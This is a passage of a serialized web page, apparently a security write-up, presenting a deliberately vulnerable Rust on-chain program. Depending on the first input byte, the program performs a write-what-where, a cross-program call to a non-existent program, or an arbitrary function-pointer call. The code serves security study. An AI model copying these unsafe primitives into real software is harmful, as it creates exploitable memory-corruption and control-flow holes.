program.",{"type":26,"tag":607,"props":120693,"children":120695},{"id":120694},"vulnerable-program",[120696],{"type":32,"value":120697},"Vulnerable Program",{"type":26,"tag":39,"props":120699,"children":120700},{},[120701],{"type":32,"value":120702},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":26,"tag":6712,"props":120704,"children":120705},{},[120706],{"type":26,"tag":2044,"props":120707,"children":120708},{},[120709,120710,120716],{"type":32,"value":18009},{"type":26,"tag":83,"props":120711,"children":120713},{"className":120712},[],[120714],{"type":32,"value":120715},"data[0] == 0",{"type":32,"value":120717}," a function that lets you write-what-where is executed",{"type":26,"tag":207,"props":120719,"children":120721},{"className":56140,"code":120720,"language":56139,"meta":8,"style":8},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[120722],{"type":26,"tag":83,"props":120723,"children":120724},{"__ignoreMap":8},[120725,120733,120777,120789,120914,121031,121061,121068],{"type":26,"tag":217,"props":120726,"children":120727},{"class":7028,"line":7029},[120728],{"type":26,"tag":217,"props":120729,"children":120730},{"style":7048},[120731],{"type":32,"value":120732},"#[inline(never)]\n",{"type":26,"tag":217,"props":120734,"children":120735},{"class":7028,"line":6770},[120736,120740,120744,120749,120753,120757,120761,120765,120769,120773],{"type":26,"tag":217,"props":120737,"children":120738},{"style":7154},[120739],{"type":32,"value":56830},{"type":26,"tag":217,"props":120741,"children":120742},{"style":7154},[120743],{"type":32,"value":56835},{"type":26,"tag":217,"props":120745,"children":120746},{"style":7064},[120747],{"type":32,"value":120748}," write",{"type":26,"tag":217,"props":120750,"children":120751},{"style":7048},[120752],{"type":32,"value":1851},{"type":26,"tag":217,"props":120754,"children":120755},{"style":7054},[120756],{"type":32,"value":33715},{"type":26,"tag":217,"props":120758,"children":120759},{"style":7149},[120760],{"type":32,"value":1473},{"type":26,"tag":217,"props":120762,"children":120763},{"style":7149},[120764],{"type":32,"value":10222},{"type":26,"tag":217,"props":120766,"children":120767},{"style":7048},[120768],{"type":32,"value":7127},{"type":26,"tag":217,"props":120770,"children":120771},{"style":7119},[120772],{"type":32,"value":36887},{"type":26,"tag":217,"props":120774,"children":120775},{"style":7048},[120776],{"type":32,"value":67806},{"type":26,"tag":217,"props":120778,"children":120779},{"class":7028,"line":6779},[120780,120785],{"type":26,"tag":217,"props":120781,"children":120782},{"style":7154},[120783],{"type":32,"value":120784},"    unsafe",{"type":26,"tag":217,"props":120786,"children":120787},{"style":7048},[120788],{"type":32,"value":8064},{"type":26,"tag":217,"props":120790,"children":120791},{"class":7028,"line":7140},[120792,120796,120801,120805,120810,120814,120818,120822,120827,120831,120836,120840,120844,120848,120852,120856,120860,120864,120868,120872,120876,120881,120885,120889,120893,120898,120902,120906,120910],{"type":26,"tag":217,"props":120793,"children":120794},{"style":7154},[120795],{"type":32,"value":91366},{"type":26,"tag":217,"props":120797,"children":120798},{"style":7054},[120799],{"type":32,"value":120800}," ptr",{"type":26,"tag":217,"props":120802,"children":120803},{"style":7149},[120804],{"type":32,"value":8993},{"type":26,"tag":217,"props":120806,"children":120807},{"style":7048},[120808],{"type":32,"value":120809}," std",{"type":26,"tag":217,"props":120811,"children":120812},{"style":7149},[120813],{"type":32,"value":56166},{"type":26,"tag":217,"props":120815,"children":120816},{"style":7048},[120817],{"type":32,"value":37248},{"type":26,"tag":217,"props":120819,"children":120820},{"style":7149},[120821],{"type":32,"value":56166},{"type":26,"tag":217,"props":120823,"children":120824},{"style":7064},[120825],{"type":32,"value":120826},"transmute",{"type":26,"tag":217,"props":120828,"children":120829},{"style":7149},[120830],{"type":32,"value":56166},{"type":26,"tag":217,"props":120832,"children":120833},{"style":7048},[120834],{"type":32,"value":120835},"\u003C[",{"type":26,"tag":217,"props":120837,"children":120838},{"style":7119},[120839],{"type":32,"value":36887},{"type":26,"tag":217,"props":120841,"children":120842},{"style":7048},[120843],{"type":32,"value":13137},{"type":26,"tag":217,"props":120845,"children":120846},{"style":7130},[120847],{"type":32,"value":27891},{"type":26,"tag":217,"props":120849,"children":120850},{"style":7048},[120851],{"type":32,"value":9799},{"type":26,"tag":217,"props":120853,"children":120854},{"style":7149},[120855],{"type":32,"value":10006},{"type":26,"tag":217,"props":120857,"children":120858},{"style":7154},[120859],{"type":32,"value":90786},{"type":26,"tag":217,"props":120861,"children":120862},{"style":7119},[120863],{"type":32,"value":91146},{"type":26,"tag":217,"props":120865,"children":120866},{"style":7048},[120867],{"type":32,"value":100384},{"type":26,"tag":217,"props":120869,"children":120870},{"style":7054},[120871],{"type":32,"value":33715},{"type":26,"tag":217,"props":120873,"children":120874},{"style":7048},[120875],{"type":32,"value":7127},{"type":26,"tag":217,"props":120877,"children":120878},{"style":7149},[120879],{"type":32,"value":120880},"..",{"type":26,"tag":217,"props":120882,"children":120883},{"style":7130},[120884],{"type":32,"value":27891},{"type":26,"tag":217,"props":120886,"children":120887},{"style":7048},[120888],{"type":32,"value":21845},{"type":26,"tag":217,"props":120890,"children":120891},{"style":7149},[120892],{"type":32,"value":180},{"type":26,"tag":217,"props":120894,"children":120895},{"style":7064},[120896],{"type":32,"value":120897},"try_into",{"type":26,"tag":217,"props":120899,"children":120900},{"style":7048},[120901],{"type":32,"value":78002},{"type":26,"tag":217,"props":120903,"children":120904},{"style":7149},[120905],{"type":32,"value":180},{"type":26,"tag":217,"props":120907,"children":120908},{"style":7064},[120909],{"type":32,"value":97935},{"type":26,"tag":217,"props":120911,"children":120912},{"style":7048},[120913],{"type":32,"value":8348},{"type":26,"tag":217,"props":120915,"children":120916},{"class":7028,"line":7165},[120917,120921,120926,120930,120934,120938,120942,120946,120950,120954,120958,120962,120966,120970,120974,120979,120983,120987,120991,120995,120999,121003,121007,121011,121015,121019,121023,121027],{"type":26,"tag":217,"props":120918,"children":120919},{"style":7154},[120920],{"type":32,"value":91366},{"type":26,"tag":217,"props":120922,"children":120923},{"style":7054},[120924],{"type":32,"value":120925}," val",{"type":26,"tag":217,"props":120927,"children":120928},{"style":7149},[120929],{"type":32,"value":8993},{"type":26,"tag":217,"props":120931,"children":120932},{"style":7048},[120933],{"type":32,"value":120809},{"type":26,"tag":217,"props":120935,"children":120936},{"style":7149},[120937],{"type":32,"value":56166},{"type":26,"tag":217,"props":120939,"children":120940},{"style":7048},[120941],{"type":32,"value":37248},{"type":26,"tag":217,"props":120943,"children":120944},{"style":7149},[120945],{"type":32,"value":56166},{"type":26,"tag":217,"props":120947,"children":120948},{"style":7064},[120949],{"type":32,"value":120826},{"type":26,"tag":217,"props":120951,"children":120952},{"style":7149},[120953],{"type":32,"value":56166},{"type":26,"tag":217,"props":120955,"children":120956},{"style":7048},[120957],{"type":32,"value":120835},{"type":26,"tag":217,"props":120959,"children":120960},{"style":7119},[120961],{"type":32,"value":36887},{"type":26,"tag":217,"props":120963,"children":120964},{"style":7048},[120965],{"type":32,"value":13137},{"type":26,"tag":217,"props":120967,"children":120968},{"style":7130},[120969],{"type":32,"value":27891},{"type":26,"tag":217,"props":120971,"children":120972},{"style":7048},[120973],{"type":32,"value":9799},{"type":26,"tag":217,"props":120975,"children":120976},{"style":7119},[120977],{"type":32,"value":120978},"u64",{"type":26,"tag":217,"props":120980,"children":120981},{"style":7048},[120982],{"type":32,"value":100384},{"type":26,"tag":217,"props":120984,"children":120985},{"style":7054},[120986],{"type":32,"value":33715},{"type":26,"tag":217,"props":120988,"children":120989},{"style":7048},[120990],{"type":32,"value":7127},{"type":26,"tag":217,"props":120992,"children":120993},{"style":7130},[120994],{"type":32,"value":27891},{"type":26,"tag":217,"props":120996,"children":120997},{"style":7149},[120998],{"type":32,"value":120880},{"type":26,"tag":217,"props":121000,"children":121001},{"style":7130},[121002],{"type":32,"value":12286},{"type":26,"tag":217,"props":121004,"children":121005},{"style":7048},[121006],{"type":32,"value":21845},{"type":26,"tag":217,"props":121008,"children":121009},{"style":7149},[121010],{"type":32,"value":180},{"type":26,"tag":217,"props":121012,"children":121013},{"style":7064},[121014],{"type":32,"value":120897},{"type":26,"tag":217,"props":121016,"children":121017},{"style":7048},[121018],{"type":32,"value":78002},{"type":26,"tag":217,"props":121020,"children":121021},{"style":7149},[121022],{"type":32,"value":180},{"type":26,"tag":217,"props":121024,"children":121025},{"style":7064},[121026],{"type":32,"value":97935},{"type":26,"tag":217,"props":121028,"children":121029},{"style":7048},[121030],{"type":32,"value":8348},{"type":26,"tag":217,"props":121032,"children":121033},{"class":7028,"line":7178},[121034,121039,121043,121048,121052,121057],{"type":26,"tag":217,"props":121035,"children":121036},{"style":7054},[121037],{"type":32,"value":121038},"        ptr",{"type":26,"tag":217,"props":121040,"children":121041},{"style":7149},[121042],{"type":32,"value":180},{"type":26,"tag":217,"props":121044,"children":121045},{"style":7064},[121046],{"type":32,"value":121047},"write_volatile",{"type":26,"tag":217,"props":121049,"children":121050},{"style":7048},[121051],{"type":32,"value":1851},{"type":26,"tag":217,"props":121053,"children":121054},{"style":7054},[121055],{"type":32,"value":121056},"val",{"type":26,"tag":217,"props":121058,"children":121059},{"style":7048},[121060],{"type":32,"value":7669},{"type":26,"tag":217,"props":121062,"children":121063},{"class":7028,"line":7389},[121064],{"type":26,"tag":217,"props":121065,"children":121066},{"style":7048},[121067],{"type":32,"value":9754},{"type":26,"tag":217,"props":121069,"children":121070},{"class":7028,"line":7406},[121071],{"type":26,"tag":217,"props":121072,"children":121073},{"style":7048},[121074],{"type":32,"value":7184},{"type":26,"tag":6712,"props":121076,"children":121077},{"start":6770},[121078],{"type":26,"tag":2044,"props":121079,"children":121080},{},[121081,121082,121088],{"type":32,"value":18009},{"type":26,"tag":83,"props":121083,"children":121085},{"className":121084},[],[121086],{"type":32,"value":121087},"data[0] == 1",{"type":32,"value":121089},", a CPI to a non-existent program is executed:",{"type":26,"tag":207,"props":121091,"children":121093},{"className":56140,"code":121092,"language":56139,"meta":8,"style":8},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[121094],{"type":26,"tag":83,"props":121095,"children":121096},{"__ignoreMap":8},[121097,121104,121147,121172,121202,121242,121264,121271,121278,121290,121307,121319,121330,121350],{"type":26,"tag":217,"props":121098,"children":121099},{"class":7028,"line":7029},[121100],{"type":26,"tag":217,"props":121101,"children":121102},{"style":7048},[121103],{"type":32,"value":120732},{"type":26,"tag":217,"props":121105,"children":121106},{"class":7028,"line":6770},[121107,121111,121115,121119,121123,121127,121131,121135,121139,121143],{"type":26,"tag":217,"props":121108,"children":121109},{"style":7154},[121110],{"type":32,"value":56830},{"type":26,"tag":217,"props":121112,"children":121113},{"style":7154},[121114],{"type":32,"value":56835},{"type":26,"tag":217,"props":121116,"children":121117},{"style":7064},[121118],{"type":32,"value":61517},{"type":26,"tag":217,"props":121120,"children":121121},{"style":7048},[121122],{"type":32,"value":1851},{"type":26,"tag":217,"props":121124,"children":121125},{"style":7054},[121126],{"type":32,"value":33715},{"type":26,"tag":217,"props":121128,"children":121129},{"style":7149},[121130],{"type":32,"value":1473},{"type":26,"tag":217,"props":121132,"children":121133},{"style":7149},[121134],{"type":32,"value":10222},{"type":26,"tag":217,"props":121136,"children":121137},{"style":7048},[121138],{"type":32,"value":7127},{"type":26,"tag":217,"props":121140,"children":121141},{"style":7119},[121142],{"type":32,"value":36887},{"type":26,"tag":217,"props":121144,"children":121145},{"style":7048},[121146],{"type":32,"value":67806},{"type":26,"tag":217,"props":121148,"children":121149},{"class":7028,"line":6779},[121150,121154,121159,121163,121168],{"type":26,"tag":217,"props":121151,"children":121152},{"style":7154},[121153],{"type":32,"value":77780},{"type":26,"tag":217,"props":121155,"children":121156},{"style":7054},[121157],{"type":32,"value":121158}," ix",{"type":26,"tag":217,"props":121160,"children":121161},{"style":7149},[121162],{"type":32,"value":8993},{"type":26,"tag":217,"props":121164,"children":121165},{"style":7119},[121166],{"type":32,"value":121167}," Instruction",{"type":26,"tag":217,"props":121169,"children":121170},{"style":7048},[121171],{"type":32,"value":8064},{"type":26,"tag":217,"props":121173,"children":121174},{"class":7028,"line":7140},[121175,121180,121184,121189,121193,121198],{"type":26,"tag":217,"props":121176,"children":121177},{"style":7054},[121178],{"type":32,"value":121179},"        program_id",{"type":26,"tag":217,"props":121181,"children":121182},{"style":7149},[121183],{"type":32,"value":1473},{"type":26,"tag":217,"props":121185,"children":121186},{"style":7064},[121187],{"type":32,"value":121188}," pubkey!",{"type":26,"tag":217,"props":121190,"children":121191},{"style":7048},[121192],{"type":32,"value":1851},{"type":26,"tag":217,"props":121194,"children":121195},{"style":7338},[121196],{"type":32,"value":121197},"\"osecio5555555555555551111111111111111111111\"",{"type":26,"tag":217,"props":121199,"children":121200},{"style":7048},[121201],{"type":32,"value":13841},{"type":26,"tag":217,"props":121203,"children":121204},{"class":7028,"line":7165},[121205,121210,121214,121218,121222,121226,121230,121234,121238],{"type":26,"tag":217,"props":121206,"children":121207},{"style":7054},[121208],{"type":32,"value":121209},"        data",{"type":26,"tag":217,"props":121211,"children":121212},{"style":7149},[121213],{"type":32,"value":1473},{"type":26,"tag":217,"props":121215,"children":121216},{"style":7054},[121217],{"type":32,"value":35391},{"type":26,"tag":217,"props":121219,"children":121220},{"style":7149},[121221],{"type":32,"value":180},{"type":26,"tag":217,"props":121223,"children":121224},{"style":7064},[121225],{"type":32,"value":120897},{"type":26,"tag":217,"props":121227,"children":121228},{"style":7048},[121229],{"type":32,"value":78002},{"type":26,"tag":217,"props":121231,"children":121232},{"style":7149},[121233],{"type":32,"value":180},{"type":26,"tag":217,"props":121235,"children":121236},{"style":7064},[121237],{"type":32,"value":97935},{"type":26,"tag":217,"props":121239,"children":121240},{"style":7048},[121241],{"type":32,"value":79153},{"type":26,"tag":217,"props":121243,"children":121244},{"class":7028,"line":7178},[121245,121250,121254,121259],{"type":26,"tag":217,"props":121246,"children":121247},{"style":7054},[121248],{"type":32,"value":121249},"        accounts",{"type":26,"tag":217,"props":121251,"children":121252},{"style":7149},[121253],{"type":32,"value":1473},{"type":26,"tag":217,"props":121255,"children":121256},{"style":7064},[121257],{"type":32,"value":121258}," vec!",{"type":26,"tag":217,"props":121260,"children":121261},{"style":7048},[121262],{"type":32,"value":121263},"[]\n",{"type":26,"tag":217,"props":121265,"children":121266},{"class":7028,"line":7389},[121267],{"type":26,"tag":217,"props":121268,"children":121269},{"style":7048},[121270],{"type":32,"value":12298},{"type":26,"tag":217,"props":121272,"children":121273},{"class":7028,"line":7406},[121274],{"type":26,"tag":217,"props":121275,"children":121276},{"emptyLinePlaceholder":17},[121277],{"type":32,"value":7817},{"type":26,"tag":217,"props":121279,"children":121280},{"class":7028,"line":7439},[121281,121286],{"type":26,"tag":217,"props":121282,"children":121283},{"style":7064},[121284],{"type":32,"value":121285},"    invoke_signed_unchecked",{"type":26,"tag":217,"props":121287,"children":121288},{"style":7048},[121289],{"type":32,"value":10932},{"type":26,"tag":217,"props":121291,"children":121292},{"class":7028,"line":7487},[121293,121298,121303],{"type":26,"tag":217,"props":121294,"children":121295},{"style":7149},[121296],{"type":32,"value":121297},"        &",{"type":26,"tag":217,"props":121299,"children":121300},{"style":7054},[121301],{"type":32,"value":121302},"ix",{"type":26,"tag":217,"props":121304,"children":121305},{"style":7048},[121306],{"type":32,"value":10953},{"type":26,"tag":217,"props":121308,"children":121309},{"class":7028,"line":7524},[121310,121314],{"type":26,"tag":217,"props":121311,"children":121312},{"style":7149},[121313],{"type":32,"value":121297},{"type":26,"tag":217,"props":121315,"children":121316},{"style":7048},[121317],{"type":32,"value":121318},"[],\n",{"type":26,"tag":217,"props":121320,"children":121321},{"class":7028,"line":7553},[121322,121326],{"type":26,"tag":217,"props":121323,"children":121324},{"style":7149},[121325],{"type":32,"value":121297},{"type":26,"tag":217,"props":121327,"children":121328},{"style":7048},[121329],{"type":32,"value":121318},{"type":26,"tag":217,"props":121331,"children":121332},{"class":7028,"line":7570},[121333,121338,121342,121346],{"type":26,"tag":217,"props":121334,"children":121335},{"style":7048},[121336],{"type":32,"value":121337},"    )",{"type":26,"tag":217,"props":121339,"children":121340},{"style":7149},[121341],{"type":32,"value":180},{"type":26,"tag":217,"props":121343,"children":121344},{"style":7064},[121345],{"type":32,"value":97935},{"type":26,"tag":217,"props":121347,"children":121348},{"style":7048},[121349],{"type":32,"value":8217},{"type":26,"tag":217,"props":121351,"children":121352},{"class":7028,"line":7621},[121353],{"type":26,"tag":217,"props":121354,"children":121355},{"style":7048},[121356],{"type":32,"value":7184},{"type":26,"tag":6712,"props":121358,"children":121359},{"start":6779},[121360],{"type":26,"tag":2044,"props":121361,"children":121362},{},[121363,121365,121371],{"type":32,"value":121364},"Finally, if ",{"type":26,"tag":83,"props":121366,"children":121368},{"className":121367},[],[121369],{"type":32,"value":121370},"data[0]",{"type":32,"value":121372}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":26,"tag":207,"props":121374,"children":121376},{"className":56140,"code":121375,"language":56139,"meta":8,"style":8},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[121377],{"type":26,"tag":83,"props":121378,"children":121379},{"__ignoreMap":8},[121380,121387,121435,121446,121566,121681,121700,121707,121742,121749,121868,121983,122002,122009],{"type":26,"tag":217,"props":121381,"children":121382},{"class":7028,"line":7029},[121383],{"type":26,"tag":217,"props":121384,"children":121385},{"style":7048},[121386],{"type":32,"value":120732},{"type":26,"tag":217,"props":121388,"children":121389},{"class":7028,"line":6770},[121390,121394,121398,121403,121407,121411,121415,121419,121423,121427,121431],{"type":26,"tag":217,"props":121391,"children":121392},{"style":7154},[121393],{"type":32,"value":56830},{"type":26,"tag":217,"props":121395,"children":121396},{"style":7154},[121397],{"type":32,"value":56835},{"type":26,"tag":217,"props":121399,"children":121400},{"style":7064},[121401],{"type":32,"value":121402}," process",{"type":26,"tag":217,"props":121404,"children":121405},{"style":7048},[121406],{"type":32,"value":1851},{"type":26,"tag":217,"props":121408,"children":121409},{"style":7154},[121410],{"type":32,"value":90786},{"type":26,"tag":217,"props":121412,"children":121413},{"style":7054},[121414],{"type":32,"value":35391},{"type":26,"tag":217,"props":121416,"children":121417},{"style":7149},[121418],{"type":32,"value":1473},{"type":26,"tag":217,"props":121420,"children":121421},{"style":7149},[121422],{"type":32,"value":10222},{"type":26,"tag":217,"props":121424,"children":121425},{"style":7048},[121426],{"type":32,"value":7127},{"type":26,"tag":217,"props":121428,"children":121429},{"style":7119},[121430],{"type":32,"value":36887},{"type":26,"tag":217,"props":121432,"children":121433},{"style":7048},[121434],{"type":32,"value":67806},{"type":26,"tag":217,"props":121436,"children":121437},{"class":7028,"line":6779},[121438,121442],{"type":26,"tag":217,"props":121439,"children":121440},{"style":7154},[121441],{"type":32,"value":120784},{"type":26,"tag":217,"props":121443,"children":121444},{"style":7048},[121445],{"type":32,"value":8064},{"type":26,"tag":217,"props":121447,"children":121448},{"class":7028,"line":7140},[121449,121453,121457,121461,121465,121469,121473,121477,121481,121485,121489,121493,121497,121501,121505,121509,121513,121517,121522,121526,121530,121534,121538,121542,121546,121550,121554,121558,121562],{"type":26,"tag":217,"props":121450,"children":121451},{"style":7154},[121452],{"type":32,"value":91366},{"type":26,"tag":217,"props":121454,"children":121455},{"style":7054},[121456],{"type":32,"value":120800},{"type":26,"tag":217,"props":121458,"children":121459},{"style":7149},[121460],{"type":32,"value":8993},{"type":26,"tag":217,"props":121462,"children":121463},{"style":7048},[121464],{"type":32,"value":120809},{"type":26,"tag":217,"props":121466,"children":121467},{"style":7149},[121468],{"type":32,"value":56166},{"type":26,"tag":217,"props":121470,"children":121471},{"style":7048},[121472],{"type":32,"value":37248},{"type":26,"tag":217,"props":121474,"children":121475},{"style":7149},[121476],{"type":32,"value":56166},{"type":26,"tag":217,"props":121478,"children":121479},{"style":7064},[121480],{"type":32,"value":120826},{"type":26,"tag":217,"props":121482,"children":121483},{"style":7149},[121484],{"type":32,"value":56166},{"type":26,"tag":217,"props":121486,"children":121487},{"style":7048},[121488],{"type":32,"value":120835},{"type":26,"tag":217,"props":121490,"children":121491},{"style":7119},[121492],{"type":32,"value":36887},{"type":26,"tag":217,"props":121494,"children":121495},{"style":7048},[121496],{"type":32,"value":13137},{"type":26,"tag":217,"props":121498,"children":121499},{"style":7130},[121500],{"type":32,"value":27891},{"type":26,"tag":217,"props":121502,"children":121503},{"style":7048},[121504],{"type":32,"value":9799},{"type":26,"tag":217,"props":121506,"children":121507},{"style":7154},[121508],{"type":32,"value":77603},{"type":26,"tag":217,"props":121510,"children":121511},{"style":7048},[121512],{"type":32,"value":1851},{"type":26,"tag":217,"props":121514,"children":121515},{"style":7119},[121516],{"type":32,"value":120978},{"type":26,"tag":217,"props":121518,"children":121519},{"style":7048},[121520],{"type":32,"value":121521},")>(",{"type":26,"tag":217,"props":121523,"children":121524},{"style":7054},[121525],{"type":32,"value":33715},{"type":26,"tag":217,"props":121527,"children":121528},{"style":7048},[121529],{"type":32,"value":7127},{"type":26,"tag":217,"props":121531,"children":121532},{"style":7149},[121533],{"type":32,"value":120880},{"type":26,"tag":217,"props":121535,"children":121536},{"style":7130},[121537],{"type":32,"value":27891},{"type":26,"tag":217,"props":121539,"children":121540},{"style":7048},[121541],{"type":32,"value":21845},{"type":26,"tag":217,"props":121543,"children":121544},{"style":7149},[121545],{"type":32,"value":180},{"type":26,"tag":217,"props":121547,"children":121548},{"style":7064},[121549],{"type":32,"value":120897},{"type":26,"tag":217,"props":121551,"children":121552},{"style":7048},[121553],{"type":32,"value":78002},{"type":26,"tag":217,"props":121555,"children":121556},{"style":7149},[121557],{"type":32,"value":180},{"type":26,"tag":217,"props":121559,"children":121560},{"style":7064},[121561],{"type":32,"value":97935},{"type":26,"tag":217,"props":121563,"children":121564},{"style":7048},[121565],{"type":32,"value":8348},{"type":26,"tag":217,"props":121567,"children":121568},{"class":7028,"line":7165},[121569,121573,121577,121581,121585,121589,121593,121597,121601,121605,121609,121613,121617,121621,121625,121629,121633,121637,121641,121645,121649,121653,121657,121661,121665,121669,121673,121677],{"type":26,"tag":217,"props":121570,"children":121571},{"style":7154},[121572],{"type":32,"value":91366},{"type":26,"tag":217,"props":121574,"children":121575},{"style":7054},[121576],{"type":32,"value":120925},{"type":26,"tag":217,"props":121578,"children":121579},{"style":7149},[121580],{"type":32,"value":8993},{"type":26,"tag":217,"props":121582,"children":121583},{"style":7048},[121584],{"type":32,"value":120809},{"type":26,"tag":217,"props":121586,"children":121587},{"style":7149},[121588],{"type":32,"value":56166},{"type":26,"tag":217,"props":121590,"children":121591},{"style":7048},[121592],{"type":32,"value":37248},{"type":26,"tag":217,"props":121594,"children":121595},{"style":7149},[121596],{"type":32,"value":56166},{"type":26,"tag":217,"props":121598,"children":121599},{"style":7064},[121600],{"type":32,"value":120826},{"type":26,"tag":217,"props":121602,"children":121603},{"style":7149},[121604],{"type":32,"value":56166},{"type":26,"tag":217,"props":121606,"children":121607},{"style":7048},[121608],{"type":32,"value":120835},{"type":26,"tag":217,"props":121610,"children":121611},{"style":7119},[121612],{"type":32,"value":36887},{"type":26,"tag":217,"props":121614,"children":121615},{"style":7048},[121616],{"type":32,"value":13137},{"type":26,"tag":217,"props":121618,"children":121619},{"style":7130},[121620],{"type":32,"value":27891},{"type":26,"tag":217,"props":121622,"children":121623},{"style":7048},[121624],{"type":32,"value":9799},{"type":26,"tag":217,"props":121626,"children":121627},{"style":7119},[121628],{"type":32,"value":120978},{"type":26,"tag":217,"props":121630,"children":121631},{"style":7048},[121632],{"type":32,"value":100384},{"type":26,"tag":217,"props":121634,"children":121635},{"style":7054},[121636],{"type":32,"value":33715},{"type":26,"tag":217,"props":121638,"children":121639},{"style":7048},[121640],{"type":32,"value":7127},{"type":26,"tag":217,"props":121642,"children":121643},{"style":7130},[121644],{"type":32,"value":27891},{"type":26,"tag":217,"props":121646,"children":121647},{"style":7149},[121648],{"type":32,"value":120880},{"type":26,"tag":217,"props":121650,"children":121651},{"style":7130},[121652],{"type":32,"value":12286},{"type":26,"tag":217,"props":121654,"children":121655},{"style":7048},[121656],{"type":32,"value":21845},{"type":26,"tag":217,"props":121658,"children":121659},{"style":7149},[121660],{"type":32,"value":180},{"type":26,"tag":217,"props":121662,"children":121663},{"style":7064},[121664],{"type":32,"value":120897},{"type":26,"tag":217,"props":121666,"children":121667},{"style":7048},[121668],{"type":32,"value":78002},{"type":26,"tag":217,"props":121670,"children":121671},{"style":7149},[121672],{"type":32,"value":180},{"type":26,"tag":217,"props":121674,"children":121675},{"style":7064},[121676],{"type":32,"value":97935},{"type":26,"tag":217,"props":121678,"children":121679},{"style":7048},[121680],{"type":32,"value":8348},{"type":26,"tag":217,"props":121682,"children":121683},{"class":7028,"line":7178},[121684,121688,121692,121696],{"type":26,"tag":217,"props":121685,"children":121686},{"style":7064},[121687],{"type":32,"value":121038},{"type":26,"tag":217,"props":121689,"children":121690},{"style":7048},[121691],{"type":32,"value":1851},{"type":26,"tag":217,"props":121693,"children":121694},{"style":7054},[121695],{"type":32,"value":121056},{"type":26,"tag":217,"props":121697,"children":121698},{"style":7048},[121699],{"type":32,"value":7669},{"type":26,"tag":217,"props":121701,"children":121702},{"class":7028,"line":7389},[121703],{"type":26,"tag":217,"props":121704,"children":121705},{"emptyLinePlaceholder":17},[121706],{"type":32,"value":7817},{"type":26,"tag":217,"props":121708,"children":121709},{"class":7028,"line":7406},[121710,121714,121718,121722,121726,121730,121734,121738],{"type":26,"tag":217,"props":121711,"children":121712},{"style":7054},[121713],{"type":32,"value":121209},{"type":26,"tag":217,"props":121715,"children":121716},{"style":7149},[121717],{"type":32,"value":8993},{"type":26,"tag":217,"props":121719,"children":121720},{"style":7149},[121721],{"type":32,"value":10222},{"type":26,"tag":217,"props":121723,"children":121724},{"style":7054},[121725],{"type":32,"value":33715},{"type":26,"tag":217,"props":121727,"children":121728},{"style":7048},[121729],{"type":32,"value":7127},{"type":26,"tag":217,"props":121731,"children":121732},{"style":7130},[121733],{"type":32,"value":12286},{"type":26,"tag":217,"props":121735,"children":121736},{"style":7149},[121737],{"type":32,"value":120880},{"type":26,"tag":217,"props":121739,"children":121740},{"style":7048},[121741],{"type":32,"value":10652},{"type":26,"tag":217,"props":121743,"children":121744},{"class":7028,"line":7439},[121745],{"type":26,"tag":217,"props":121746,"children":121747},{"emptyLinePlaceholder":17},[121748],{"type":32,"value":7817},{"type":26,"tag":217,"props":121750,"children":121751},{"class":7028,"line":7487},[121752,121756,121760,121764,121768,121772,121776,121780,121784,121788,121792,121796,121800,121804,121808,121812,121816,121820,121824,121828,121832,121836,121840,121844,121848,121852,121856,121860,121864],{"type":26,"tag":217,"props":121753,"children":121754},{"style":7154},[121755],{"type":32,"value":91366},{"type":26,"tag":217,"props":121757,"children":121758},{"style":7054},[121759],{"type":32,"value":120800},{"type":26,"tag":217,"props":121761,"children":121762},{"style":7149},[121763],{"type":32,"value":8993},{"type":26,"tag":217,"props":121765,"children":121766},{"style":7048},[121767],{"type":32,"value":120809},{"type":26,"tag":217,"props":121769,"children":121770},{"style":7149},[121771],{"type":32,"value":56166},{"type":26,"tag":217,"props":121773,"children":121774},{"style":7048},[121775],{"type":32,"value":37248},{"type":26,"tag":217,"props":121777,"children":121778},{"style":7149},[121779],{"type":32,"value":56166},{"type":26,"tag":217,"props":121781,"children":121782},{"style":7064},[121783],{"type":32,"value":120826},{"type":26,"tag":217,"props":121785,"children":121786},{"style":7149},[121787],{"type":32,"value":56166},{"type":26,"tag":217,"props":121789,"children":121790},{"style":7048},[121791],{"type":32,"value":120835},{"type":26,"tag":217,"props":121793,"children":121794},{"style":7119},[121795],{"type":32,"value":36887},{"type":26,"tag":217,"props":121797,"children":121798},{"style":7048},[121799],{"type":32,"value":13137},{"type":26,"tag":217,"props":121801,"children":121802},{"style":7130},[121803],{"type":32,"value":27891},{"type":26,"tag":217,"props":121805,"children":121806},{"style":7048},[121807],{"type":32,"value":9799},{"type":26,"tag":217,"props":121809,"children":121810},{"style":7154},[121811],{"type":32,"value":77603},{"type":26,"tag":217,"props":121813,"children":121814},{"style":7048},[121815],{"type":32,"value":1851},{"type":26,"tag":217,"props":121817,"children":121818},{"style":7119},[121819],{"type":32,"value":120978},{"type":26,"tag":217,"props":121821,"children":121822},{"style":7048},[121823],{"type":32,"value":121521},{"type":26,"tag":217,"props":121825,"children":121826},{"style":7054},[121827],{"type":32,"value":33715},{"type":26,"tag":217,"props":121829,"children":121830},{"style":7048},[121831],{"type":32,"value":7127},{"type":26,"tag":217,"props":121833,"children":121834},{"style":7149},[121835],{"type":32,"value":120880},{"type":26,"tag":217,"props":121837,"children":121838},{"style":7130},[121839],{"type":32,"value":27891},{"type":26,"tag":217,"props":121841,"children":121842},{"style":7048},[121843],{"type":32,"value":21845},{"type":26,"tag":217,"props":121845,"children":121846},{"style":7149},[121847],{"type":32,"value":180},{"type":26,"tag"